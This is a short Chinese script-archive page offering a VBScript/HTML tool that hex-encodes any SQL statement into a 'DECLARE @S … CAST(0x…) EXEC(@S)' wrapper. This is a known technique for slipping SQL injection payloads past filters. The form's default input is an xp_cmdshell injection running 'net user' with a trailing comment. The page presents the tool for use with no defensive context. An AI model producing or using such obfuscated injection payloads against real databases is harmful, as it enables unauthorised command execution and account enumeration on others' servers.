当前位置:DOS资源站资料中心VBS脚本 → 整条sql语句转16进制的vbs

整条sql语句转16进制的vbs

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2008-4-15 22:13:42

<script language=vbs>
sub sqlencode()
Dim strTest
strTest = form1.text1.value
myHex = Str2Hex(strTest)
document.write "<pre>DECLARE @S NVARCHAR(4000) SET @S=CAST(0x"&myhex&" AS NVARCHAR(4000)) EXEC(@S)</pre>"
end sub
Function Str2Hex(ByVal strHex)
 Dim sHex
 For i = 1 To Len(strHex)
  sHex = sHex & Hex(Asc(Mid(strHex,i,1)))&"00"
 Next
 Str2Hex = sHex
End Function

</script>
<form name=form1 method="post">
<p>请输入sql语句,例子:</p><br>
<input type=text name=text1 value='exec master.dbo.xp_cmdshell "net user"--' size=100><input type=submit onclick=sqlencode()

value="给我转">
</form>